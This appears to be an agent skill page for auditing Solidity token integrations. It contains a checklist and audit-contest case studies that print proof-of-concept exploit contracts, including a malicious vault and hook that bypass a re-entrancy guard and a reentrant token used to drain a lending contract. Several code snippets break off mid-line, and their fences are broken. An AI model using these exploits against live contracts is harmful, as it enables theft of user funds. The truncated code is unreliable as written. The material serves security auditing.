# Solidity Token Integration Pitfalls

> Solidity Weird ERC-20 & Token Integration Pitfalls

- Skill: `netvar1337/solidity-token-integration-pitfalls` (Agent Skill)
- Install (CLI): `npx skillmds@latest add netvar1337/solidity-token-integration-pitfalls`
- Raw SKILL.md: https://api.skillmd.com/api/skills/netvar1337/solidity-token-integration-pitfalls/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Integrations & APIs
- Author: netvar1337 (https://skillmd.com/u/netvar1337)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/netvar1337/solidity-token-integration-pitfalls

---


# Solidity Weird ERC-20 & Token Integration Pitfalls

## Overview & Empirical Grounding
This security auditing skill is synthesized from **473 empirical audit contest findings** (54 Critical, 419 High severity) extracted from the `Zaevlad/audit-findings-dataset` corpus.

Auditors and security reviewers must use this methodology when reviewing smart contracts that exhibit **Token Mechanics & Standards** patterns.

### Key Trigger Keywords
`fee-on-transfer`, `rebasing token`, `elastic supply`, `usdt missing return`, `safetransfer`, `safeerc20`, `erc777`, `token decimals`

---

## Threat Model & Core Attack Vectors

Detailed failure modes identified across empirical audit findings:
1. **Unchecked Assumptions & Protocol State Discrepancy**: Deviations between internal accounting state and actual balances/external conditions.
2. **Missing Boundary Checks & Validation**: Failing to constrain user inputs, return values, or stale external data feeds.
3. **Execution Ordering & Invariant Breakage**: Invariants momentarily violated during external calls or intermediary calculations.
4. **Economic & MEV Incentives**: Opportunities for adversaries to extract value through arbitrage, flash loans, or sandwiching.

---

## Step-by-Step Audit Checklist

When reviewing contracts in this domain, follow this rigorous step-by-step verification pipeline:

### 1. Architectural & Entry Point Reconnaissance
- Map all external and public entry points that interact with the vulnerable component.
- Verify access control modifiers (`onlyOwner`, `onlyRole`, custom guards) and ensure roles are initialized in constructor/initializer.
- Trace all token balance state changes and external contract interactions.

### 2. Deep Invariant & Boundary Verification
- **Input Validation**: Check zero-address (`address(0)`), zero-amount, array length parity, and upper/lower bounds.
- **State Transition Sequencing**: Verify Checks-Effects-Interactions (CEI) order. All storage updates must precede external invocations.
- **External Return Handling**: Check return values for external ERC-20 transfers, oracle queries, and delegatecalls.
- **Failure Paths & DoS Hazards**: Ensure reverts in third-party calls do not lock protocol funds or halt liquidation/withdrawal queues.

### 3. Proof of Concept (PoC) Development Guide
When drafting a reproducible exploit in Foundry (`forge test`):
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

contract AuditPoCTest is Test {
    // Setup target protocol and mock dependencies
    function setUp() public {
        // Fork mainnet or deploy local environment
    }

    function test_exploit_vector() public {
        // 1. Establish initial attacker balance
        // 2. Trigger vulnerability
        // 3. Assert invariant violation or balance drain
    }
}
```

---

## Empirical Case Studies from Zaevlad/audit-findings-dataset

The following real-world contest findings illustrate the root causes and remediation patterns:

### Case Study: Pools configured with a malicious hook can bypass the `BunniHub` re-entrancy guard to drain all raw balances and vault reserves of legitimate pools
- **Severity**: High (Dataset Weight: 1.00, ID: #25)
- **Vulnerability Mechanism**:
** The `BunniHub` is the main contract that both holds and accounts the raw balances and  vault reserves that each pool has deposited. It inherits `ReentrancyGuard` which implements the `nonReentrant` modifier:

```solidity
modifier nonReentrant() {
    _nonReentrantBefore();
    _;
    _nonReentrantAfter();
}

function _nonReentrantBefore() internal {
    uint256 statusSlot = STATUS_SLOT;
    uint256 status;
    /// @solidity memory-safe-assembly
    assembly {
        status := tload(statusSlot)
    }
    if (status == ENTERED) revert ReentrancyGuard__ReentrantCall();

    uint256 entered = ENTERED;
    /// @solidity memory-safe-assembly
    assembly {
        tstore(statusSlot, entered)
    }
}

function _nonReentrantAfter() internal {
    uint256 statusSlot = STATUS_SLOT;
    uint256 notEntered = NOT_ENTERED;
    /// @solidity memory-safe-assembly
    assembly {
        tstore(statusSlot, notEntered)
    }
}
```

During the rebalance of a Bunni pool, it is intended to separate this re-entrancy logic into before/after hooks. These functions re-use the same global re-entrancy guard transient storage slot to lock the `BunniHub` against any potential re-entrant execution by a malic

#### Proof of Concept / Vulnerable Pattern
```solidity
** To run the following PoCs:
* Add the following malicious vault implementation inside `test/mocks/ERC4626Mock.sol`:

```solidity
interface MaliciousHook {
    function continueAttackFromMaliciousVault() external;
}

contract MaliciousERC4626 is ERC4626 {
    address internal immutable _asset;
    MaliciousHook internal immutable maliciousHook;
    bool internal attackStarted;

    constructor(IERC20 asset_, address _maliciousHook) {
        _asset = address(asset_);
        maliciousHook = MaliciousHook(_maliciousHook);
    }

    function asset() public view override returns (address) {
        return _asset;
    }

    function name() public pure override returns (string memory) {
        return "MockERC4626";
    }

    function symbol() public pure override returns (string memory) {
        return "MOCK-ERC4626";
    }

    function setupAttack() external {
        attackStarted = true;
    }

    function previewRedeem(uint256 shares) public view override returns (uint256 assets) {
        return type(uint128).max;
    }

    function withdraw(uint256 assets, address to, address owner) public override returns(uint256 shares){
        if(attackStarted) {
            malicious
```

- **Remediation Recommendation**:
** The root cause of the attack was the ability to disable the intended global re-entrancy protection by invoking `unlockForRebalance()` which was subsequently disabled. One solution would be to implement the rebalance re-entrancy protection on a per-pool basis such that one pool cannot manipulate the re-entrancy guard transient storage state of another. Additionally, allowing Bunni pools to be deployed with any arbitrary hook implementation greatly increases the attack surface. It is instead recommended to minimise this by constraining the hook to be the canonical `BunniHook` implementation such that it is not possible to call such `BunniHub` functions directly.

---
### Case Study: Lender contract can be drained by re-entrancy in `setPool`
- **Severity**: High (Dataset Weight: 1.00, ID: #3673)
- **Vulnerability Mechanism**:
Tokens allowing reentrant calls on transfer can be drained from the contract.

Some tokens allow reentrant calls on transfer (e.g. ERC777 tokens).
Example of token with hook on transfer:
```solidity
pragma solidity ^0.8.19;

import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

contract WeirdToken is ERC20 {

    constructor(uint256 amount) ERC20("WeirdToken", "WT") {
        _mint(msg.sender, amount);
    }

    // Hook on token transfer
    function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
        if (to != address(0)) {
            (bool status,) = to.call(abi.encodeWithSignature("tokensReceived(address,address,uint256)", from, to, amount));
        }
    }
}
```
 
This kind of token allows a re-entrancy attack in the setPool function. When the new p.poolBalance is less than the currentBalance, the difference is sent to the borrower before updating the state.
```solidity
File: Lender.sol

L157:    } else if (p.poolBalance < currentBalance) {
            // if new balance < current balance then transfer the difference back to the lender
            IERC20(p.loanToken).transfer( // @audit - Critical Re-entrancy can 

#### Proof of Concept / Vulnerable Pattern
```solidity
An attacker can use the following exploit contract to drain the lender contract:
```solidity
File: Exploit3.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import {WeirdToken} from "./WeirdToken.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
import "../utils/Structs.sol";
import "../Lender.sol";

contract Exploit3  {
    Lender lender;
    Pool pool;

    constructor(Lender _lender) {
        lender = _lender;
    }

    function attack(address _loanToken, uint256 _poolBalance) external {
        ERC20(_loanToken).approve(address(lender), _poolBalance);
        // [1] Create a new pool
        Pool memory p = Pool({
            lender: address(this),
            loanToken: _loanToken,
            collateralToken: address(0),
            minLoanSize: 10 * 10**18,
            poolBalance: _poolBalance,
            maxLoanRatio: 210 * 18,
            auctionLength: 1 days,
            interestRate: 1000,
            outstandingLoans: 0
        });
        lender.setPool(p);
        // [2] Update pool with 0 poolBalance
        p.poolBalance = 0;
        pool = p;
        lender.setPool(p);
        // [3] Send the funds back to the at
```

- **Remediation Recommendation**:
Follow the Checks - Effect - Interactions (CEI) pattern by updating the pools mapping (Line 175) before transferring the funds AND use nonReentrant modifiers

---
### Case Study: Inverted Merkle Proof Veriﬁcation in claimLogic Submitted by Luck, also found by MukulKolpe, j0xbear, Shubham, thisvishalsingh, sohrabhind, shealtielanz, 0xTheBlackPanther, VAD37, chrissavov, ilyadruzh, pineneedles, 0x37, magicCentaur, SpDream, 0xAura, SpDream, BengalCatBalu, krishnambstu, limesss, Agontuk1, JesJupyter, Timepunk, aksoy, Aslanbek Aibimov, mmvds, ZoA, merulz99, TamayoNft, chainsentry and newspacexyz
- **Severity**: High (Dataset Weight: 1.00, ID: #4578)
- **Vulnerability Mechanism**:
When verifying a Merkle proof, the contract leverages OpenZeppelin's MerkleProof.verify, which returns true if and only if a leaf can be proved to be part of the Merkle tree defined by root.
According to OpenZeppelin's MerkleProof:
```solidity
/**
 * @dev Returns true if a leaf can be proved to be a part of a Merkle tree
 * defined by root. For this, a proof must be provided, containing
 * sibling hashes on the branch from the leaf to the root of the tree. Each
 * pair of leaves and each pair of pre-images are assumed to be sorted.
 *
 * This version handles proofs in memory with a custom hashing function.
 */
function verify(
    bytes32[] memory proof,
    bytes32 root,
    bytes32 leaf,
    function(bytes32, bytes32) view returns (bytes32) hasher
) internal view returns (bool) {
    return processProof(proof, leaf, hasher) == root;
}
```
In the vulnerable claimLogic(...) function, however, the code uses require(!_verify(...)), thus negating the result of MerkleProof.verify. Speciﬁcally:
```solidity
function claimLogic(
    EpochDistributorStorage storage $e,
    DefiAppHomeCenterStorage storage $,
    uint256 epoch,
    MerkleUserDistroInput memory distro,
    bytes32[] calldata

#### Proof of Concept / Vulnerable Pattern
```solidity
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";

/**
 * @notice A minimal PoC demonstrating the inverted Merkle-proof check:
 * using `require(! _verify(...))` instead of `require(_verify(...))`.
 * This version ensures function arguments use `memory` so that we
 * can pass memory variables from the same test contract.
 */
contract EpochDistributorPoC is Test {
    /// @dev Simulated mapping: whether a user has claimed in a given epoch.
    mapping(uint256 => mapping(address => bool)) public isClaimed;

    /// @dev Simulated distribution Merkle root for each epoch.
    mapping(uint256 => bytes32) public distributionMerkleRoots;

    /**
     * @dev A simplified struct for demonstration. In real code, you'd have more fields
     * or different hashing logic for forming the leaf from (tokens, user, etc.).
     */
    struct MerkleUserDistroInput {
        uint256 tokens;
        address userId;
    }

    /**
     * @dev A mock verify function. In real usage, you'd do:
     * bool isValid = MerkleProof.verify(proof, root, leaf);
     * Here, `pretendValid` is just a bool to simulate "true = valid proof".
     */
    function _verify(
```

- **Remediation Recommendation**:
Replace the inverted check:
```solidity
require(
    !_verify(distroProof, $e.distributionMerkleRoots[epoch], getLeaveUserDistroTree(distro)),
    EpochDistributor_invalidDistroProof()
);
```
with the correct logic:
```solidity
require(
    _verify(distroProof, $e.distributionMerkleRoots[epoch], getLeaveUserDistroTree(distro)),
    EpochDistributor_invalidDistroProof()
);
```
By removing the negation, valid proofs (_verify == true) will pass, invalid proofs (_verify == false) will revert, restoring the intended Merkle proof security.

---
### Case Study: Migration will be impossible in case token has vesting recipients Submitted by deadrosesxyz, also found by Aamirusmani1552, trachev and KupiaSec
- **Severity**: High (Dataset Weight: 1.00, ID: #4588)
- **Vulnerability Mechanism**:
When creating a token, user can specify vesting recipients. In this case, the tokens are minted to the token contract itself, and recipients have to claim them directly. Then, only the remaining of the initial supply is minted to the Airlock:
```solidity
for (uint256 i; i < length; ++i) {
    uint256 amount = amounts_[i];
    getVestingDataOf[recipients_[i]].totalAmount += amount;
    require(
        getVestingDataOf[recipients_[i]].totalAmount <= maxPreMintPerAddress,
        MaxPreMintPerAddressExceeded(getVestingDataOf[recipients_[i]].totalAmount, maxPreMintPerAddress)
    );
    vestedTokens += amount;
}
uint256 maxTotalPreMint = initialSupply * MAX_TOTAL_PRE_MINT_WAD / 1 ether;
require(vestedTokens <= maxTotalPreMint, MaxTotalPreMintExceeded(vestedTokens, maxTotalPreMint));
if (vestedTokens > 0) {
    _mint(address(this), vestedTokens);
}
_mint(recipient, initialSupply - vestedTokens);
```
However, when migrating, the Airlock contract assumes it holds all asset tokens which are not sent initially to be sold on univ3/v4. And it attempts to send these tokens to the migrator.
```solidity
if (token0 == asset) {
    total0 += assetData.totalSupply - assetData.numTokensToSell;
    

#### Proof of Concept / Vulnerable Pattern
```solidity
Add the following test to Airlock.t.sol:
```solidity
function test_migrateAirlock() public {
    // vm.skip(true);
    (address hook, address asset) = test_create_DeploysV4();
    PoolKey memory poolKey = PoolKey({
        currency0: Currency.wrap(address(numeraire)),
        currency1: Currency.wrap(asset),
        fee: 3000,
        tickSpacing: DEFAULT_TICK_SPACING,
        hooks: IHooks(hook)
    });
    // Deploy swapRouter
    swapRouter = new PoolSwapTest(manager);
    V4Quoter quoter = new V4Quoter(manager);
    bool isToken0 = asset < address(numeraire) ? true : false;
    CustomRouter router = new CustomRouter(swapRouter, quoter, poolKey, isToken0, false);
    // changed isUsingEth to no
    vm.warp(DEFAULT_ENDING_TIME - 1);
    uint256 amountIn = router.computeBuyExactOut(0.5e27);
    numeraire.mint(address(this), amountIn);
    numeraire.approve(address(router), amountIn);
    router.buyExactOut(0.5e27);
    vm.warp(DEFAULT_ENDING_TIME);
    vm.expectRevert("TRANSFER_FAILED");
    airlock.migrate(asset);
}
```
You'd also have to set up the test suite to provide vested tokens as follows:
```solidity
function test_create_DeploysV4() public returns (address, address) {
   
```

- **Remediation Recommendation**:
Account for the vested tokens.

---
### Case Study: Airlock.migrate attempts to transfer native ETH on safeTransfer calls Submitted by jovi.eth, also found by AngryMustacheMan, rokinot, zanderbyte, trachev, etherhood, valkvalue, Aamirusmani1552, saucier and deadrosesxyz
- **Severity**: High (Dataset Weight: 1.00, ID: #4589)
- **Vulnerability Mechanism**:
The migrate function at the Airlock contract executes two transfers to the liquidity migrator, one of token0 and a second one of token1:
```solidity
function migrate(
    address asset
) external {
    // ...
    ERC20(token0).safeTransfer(address(assetData.liquidityMigrator), total0);
    ERC20(token1).safeTransfer(address(assetData.liquidityMigrator), total1);
    // ...
}
```
The utilized safeTransfer library is Solady's. According to its implementation, it will attempt to execute an ERC20 contract call to the destination, but message value will be zero:
```solidity
let success := call(gas(), token, 0, 0x10, 0x44, 0x00, 0x20)
```
at solady/src/utils/ext/zksync/SafeTransferLib.sol at d355d147f150844ddf55ffbb63fcd0130ac73fb4 · Vectorized/solady.
This means the current implementation is not able to transfer native tokens.

#### Proof of Concept / Vulnerable Pattern
```solidity
Make sure to import console.sol at the Airlock contract:
```solidity
import "forge-std/console.sol";
```
Then add the logs at the following lines of code of the migrate function:
```solidity
console.log("Balance logs:");
console.log(total0);
ERC20(token0).safeTransfer(address(assetData.liquidityMigrator), total0);
console.log(address(this).balance);
console.log(address(assetData.liquidityMigrator).balance);
ERC20(token1).safeTransfer(address(assetData.liquidityMigrator), total1);
```
Paste the test at Airlock.t.sol:
```solidity
function test_migrate_poc() public {
    (address hook, address asset) = test_create_DeploysV4();
    PoolKey memory poolKey = PoolKey({
        currency0: Currency.wrap(address(0)),
        currency1: Currency.wrap(asset),
        fee: 3000,
        tickSpacing: DEFAULT_TICK_SPACING,
        hooks: IHooks(hook)
    });
    // Deploy swapRouter
    swapRouter = new PoolSwapTest(manager);
    V4Quoter quoter = new V4Quoter(manager);
    CustomRouter router = new CustomRouter(swapRouter, quoter, poolKey, false, true);
    uint256 amountIn = router.computeBuyExactOut(DEFAULT_MIN_PROCEEDS);
    deal(address(this), amountIn);
    router.buyExactOut{ value: amount
```

- **Remediation Recommendation**:
No data

---
### Case Study: The totalFt and accretingPrincipal are updated incorrectly in withdrawAssets Submitted by Nyksx, also found by BengalCatBalu, Joshuajee, mohitisimmortal, 0xgh0st and retsoko
- **Severity**: High (Dataset Weight: 1.00, ID: #4978)
- **Vulnerability Mechanism**:
When the user withdraws from the vault, the vault will call the OrderManager.withdrawAssets() function. If the balance exceeds the withdrawal amount, the function transfers the funds directly and updates the parameters. If not, the function attempts to redeem the market or burn tokens from the order to acquire the funds, sends the funds and updates the parameters.
The issue arises when the contract balance is suﬃcient for withdrawal, as it updates the _totalFt and _accretingPrincipal twice. First, it updates after the tokens are sent to the recipient:
```solidity
if (assetBalance >= amount) {
    asset.safeTransfer(recipient, amount);
    //@audit 1st time
    _totalFt -= amount;
    _accretingPrincipal -= amount;
}
```
Secondly, it updates the same parameters at the end of the function:
```solidity
if (amountLeft > 0) {
    uint256 maxWithdraw = amount - amountLeft;
    revert InsufficientFunds(maxWithdraw, amount);
}
}
_totalFt -= amount; //@audit second time
_accretingPrincipal -= amount;
```

Impact Explanation:
After every withdrawal, users share will be worth less due to the wrong totalAssets value.

#### Proof of Concept / Vulnerable Pattern
```solidity
• Vault.t.sol:
```solidity
function testwithdrawAssets() public {
    vm.warp(currentTime + 2 days);
    buyXt(48.219178e8, 1000e8);
    vm.warp(currentTime + 3 days);
    address lper2 = vm.randomAddress();
    uint256 amount2 = 10000e8;
    res.debt.mint(lper2, amount2);
    vm.startPrank(lper2);
    res.debt.approve(address(vault), amount2);
    vault.deposit(amount2, lper2);
    vm.stopPrank();
    address borrower = vm.randomAddress();
    vm.startPrank(borrower);
    LoanUtils.fastMintGt(res, borrower, 1000e8, 1e18);
    vm.stopPrank();
    vm.warp(currentTime + 92 days);
    uint256 propotion = (res.ft.balanceOf(address(res.order)) * Constants.DECIMAL_BASE_SQ)
        / (res.ft.totalSupply() - res.ft.balanceOf(address(res.market)));
    uint256 tokenOut = (res.debt.balanceOf(address(res.market)) * propotion)
        / Constants.DECIMAL_BASE_SQ;
    uint256 badDebt = res.ft.balanceOf(address(res.order)) - tokenOut;
    uint256 delivered = (propotion * 1e18) / Constants.DECIMAL_BASE_SQ;
    vm.startPrank(lper2);
    vault.redeem(1000e8, lper2, lper2);
    vm.stopPrank();
    assertEq(vault.badDebtMapping(address(res.collateral)), badDebt);
    assertEq(res.collateral.balanceOf
```

- **Remediation Recommendation**:
```solidity
function withdrawAssets(IERC20 asset, address recipient, uint256 amount) external override onlyProxy {
    _accruedInterest();
    uint256 amountLeft = amount;
    uint256 assetBalance = asset.balanceOf(address(this));
    if (assetBalance >= amount) {
        asset.safeTransfer(recipient, amount);
        //@audit 1st time
        _totalFt -= amount;
        _accretingPrincipal -= amount;
    } else {
        amountLeft -= assetBalance;
        uint256 length = _withdrawQueue.length;
        // withdraw from orders
        uint256 i;
        while (length > 0 && i < length) {
            // ... withdrawal logic ...
        }
        if (amountLeft > 0) {
            uint256 maxWithdraw = amount - amountLeft;
            revert InsufficientFunds(maxWithdraw, amount);
        }



---

## Remediation & Hardening Principles

- **Fail-Safe Defaults**: Always favor reverting rather than proceeding with invalid or unexpected state.
- **Defensive Type Safety**: Use OpenZeppelin's vetted libraries (`SafeERC20`, `ReentrancyGuardUpgradeable`, `SafeCast`, `Math`).
- **Two-Step Critical Actions**: Enforce commit-reveal or timelock mechanisms for governance and high-impact parameter changes.
- **Comprehensive Testing Matrix**: Pair unit tests with property-based invariant testing (Foundry `invariant` or Echidna) and mutation testing.

